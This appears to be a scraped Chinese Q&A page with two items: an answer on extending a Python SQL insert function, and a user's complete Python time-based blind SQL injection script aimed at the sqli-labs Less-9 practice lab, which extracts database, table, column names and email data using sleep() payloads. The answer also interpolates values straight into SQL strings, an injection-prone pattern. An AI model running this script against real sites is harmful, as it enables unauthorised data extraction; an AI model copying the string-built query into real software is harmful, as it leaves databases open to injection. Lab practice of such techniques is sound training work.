def insert_data(table_name, column_values): query = "INSERT INTO %s (%s) VALUES (%s)" columns = ', '.join(column_values.keys()) values = ', '.join(['%s'] * len(column_values)) query = query % (table_name, columns, values) execute_operation(query, tuple(column_values.values()))根据这段代码,如果每次插入一条数据就需要关联另外一张表的id,应该怎么写

时间: 2024-02-18 20:05:48 浏览: 30
如果需要在插入数据时关联另一张表的id,您可以在INSERT INTO语句中添加一个子查询来获取该id。例如,假设您需要关联的表名为"related_table",id列名为"related_id",则可以按照以下方式修改insert_data()函数: ``` def insert_data(table_name, column_values, related_id): query = "INSERT INTO %s (%s, related_id) VALUES (%s, (SELECT id FROM related_table WHERE id=%s))" columns = ', '.join(column_values.keys()) values = ', '.join(['%s'] * len(column_values)) query = query % (table_name, columns, values, related_id) execute_operation(query, tuple(column_values.values())) ``` 在这个例子中,我们把原来的INSERT INTO语句修改为了"INSERT INTO %s (%s, related_id) VALUES (%s, (SELECT id FROM related_table WHERE id=%s))",其中"related_id"是要插入的关联id的列名,"(SELECT id FROM related_table WHERE id=%s)"是一个子查询,用于获取相关的id。注意,我们在execute_operation()函数中添加了一个额外的参数"related_id",该参数将在子查询中使用。

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import time import requests def get_data_len(url, data_payload): length = 1 while True: data = f"id=1' and if(LENGTH({data_payload})>{length},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: length += 1 else: break return length def get_ASCII(url, ascii_payload): ascii_value = '' for i in range(1, len(ascii_payload) + 1): left = 32 right = 126 while left <= right: mid = left + (right - left) // 2 data = f"id=1' and if(ASCII(SUBSTRING({ascii_payload}, {i}, 1))>{mid},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: left = mid + 1 else: right = mid - 1 ascii_value += chr(left) return ascii_value def get_schema_name(url): len = get_data_len(url, 'database()') print('获取数据库名字') db_name = get_ASCII(url, f'substr(database(),1,{len})') print(db_name) def get_table_name(url): table_name = get_ASCII(url, '(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())') print(table_name) def get_column_names(url, table_name): column_names = get_ASCII(url, f"(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}')") print(column_names) def get_column_data(url, table_name, column_name): column_data = get_ASCII(url, f"(SELECT GROUP_CONCAT({column_name}) FROM {table_name})") print(column_data) url = "http://192.168.124.128/sqli-labs-master/Less-9/??id=1/" print('开始') get_schema_name(url) print() get_table_name(url) get_column_names(url,'emails') table_name = 'emails' column_name = 'email_id' get_column_data(url, table_name, column_name)帮我写个类似这样的python时间盲注脚本

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